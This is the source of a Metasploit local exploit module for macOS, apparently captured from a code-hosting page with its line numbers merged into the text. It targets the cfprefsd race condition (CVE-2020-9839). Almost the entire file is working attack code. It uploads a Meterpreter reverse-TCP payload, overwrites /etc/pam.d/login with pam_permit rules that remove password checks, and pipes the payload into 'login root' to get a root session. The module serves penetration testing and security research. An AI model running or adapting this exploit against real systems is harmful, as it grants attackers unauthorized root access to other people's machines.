Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/osx/local/cfprefsd_race_condition.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78prepend Msf::Exploit::Remote::AutoCheck9include Msf::Post::File10include Msf::Post::OSX::Priv11include Msf::Post::OSX::System12include Msf::Exploit::EXE13include Msf::Exploit::FileDropper1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'macOS cfprefsd Arbitrary File Write Local Privilege Escalation',20'Description' => %q{21This module exploits an arbitrary file write in cfprefsd on macOS <= 10.15.4 in22order to run a payload as root. The CFPreferencesSetAppValue function, which is23reachable from most unsandboxed processes, can be exploited with a race condition24in order to overwrite an arbitrary file as root. By overwriting /etc/pam.d/login25a user can then login as root with the `login root` command without a password.26},27'License' => MSF_LICENSE,28'Author' => [29'Yonghwi Jin <jinmoteam[at]gmail.com>', # pwn2own202030'Jungwon Lim <setuid0[at]protonmail.com>', # pwn2own202031'Insu Yun <insu[at]gatech.edu>', # pwn2own202032'Taesoo Kim <taesoo[at]gatech.edu>', # pwn2own202033'timwr' # metasploit integration34],35'References' => [36['CVE', '2020-9839'],37['URL', 'https://github.com/sslab-gatech/pwn2own2020'],38],39'Platform' => 'osx',40'Arch' => ARCH_X64,41'DefaultTarget' => 0,42'DefaultOptions' => { 'WfsDelay' => 300, 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },43'Targets' => [44[ 'Mac OS X x64 (Native Payload)', {} ],45],46'DisclosureDate' => '2020-03-18',47'Notes' => {48'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES],49'Reliability' => [REPEATABLE_SESSION],50'Stability' => [CRASH_SAFE]51},52'Compat' => {53'Meterpreter' => {54'Commands' => %w[55stdapi_sys_process_execute56]57}58}59)60)61register_advanced_options [62OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])63]64end6566# rubocop:disable Style/ClassVars67@@target_file = '/etc/pam.d/login'68@@original_content = %q{# login: auth account password session69auth optional pam_krb5.so use_kcminit70auth optional pam_ntlm.so try_first_pass71auth optional pam_mount.so try_first_pass72auth required pam_opendirectory.so try_first_pass73account required pam_nologin.so74account required pam_opendirectory.so75password required pam_opendirectory.so76session required pam_launchd.so77session required pam_uwtmp.so78session optional pam_mount.so79}80@@replacement_content = %q{# login: auth account password session81auth optional pam_permit.so82auth optional pam_permit.so83auth optional pam_permit.so84auth required pam_permit.so85account required pam_permit.so86account required pam_permit.so87password required pam_permit.so88session required pam_permit.so89session required pam_permit.so90session optional pam_permit.so91}92# rubocop:enable Style/ClassVars9394def check95version = Rex::Version.new(get_system_version)96if version > Rex::Version.new('10.15.4')97CheckCode::Safe98elsif version < Rex::Version.new('10.15')99CheckCode::Safe100else101CheckCode::Appears102end103end104105def exploit106if is_root?107fail_with Failure::BadConfig, 'Session already has root privileges'108end109110unless writable? datastore['WritableDir']111fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"112end113114payload_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"115binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)116upload_and_chmodx payload_file, binary_payload117register_file_for_cleanup payload_file118119current_content = read_file(@@target_file)120@restore_content = current_content121122if current_content == @@replacement_content123print_warning("The contents of #{@@target_file} was already replaced")124elsif current_content != @@original_content125print_warning("The contents of #{@@target_file} did not match the expected contents")126@restore_content = nil127end128129exploit_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"130exploit_exe = exploit_data 'CVE-2020-9839', 'exploit'131upload_and_chmodx exploit_file, exploit_exe132register_file_for_cleanup exploit_file133134exploit_cmd = "#{exploit_file} #{@@target_file}"135print_status("Executing exploit '#{exploit_cmd}'")136result = cmd_exec(exploit_cmd)137print_status("Exploit result:\n#{result}")138unless write_file(@@target_file, @@replacement_content)139print_error("#{@@target_file} could not be written")140end141142login_cmd = "echo '#{payload_file} & disown' | login root"143print_status("Running cmd:\n#{login_cmd}")144result = cmd_exec(login_cmd)145unless result.blank?146print_status("Command output:\n#{result}")147end148end149150def new_session_cmd(session, cmd)151if session.type.eql? 'meterpreter'152session.sys.process.execute '/bin/bash', "-c '#{cmd}'"153else154session.shell_command_token cmd155end156end157158def on_new_session(session)159return super unless @restore_content160161if write_file(@@target_file, @restore_content)162new_session_cmd(session, "chgrp wheel #{@@target_file}")163new_session_cmd(session, "chown root #{@@target_file}")164new_session_cmd(session, "chmod 644 #{@@target_file}")165print_good("#{@@target_file} was restored")166else167print_error("#{@@target_file} could not be restored!")168end169super170end171172end173174175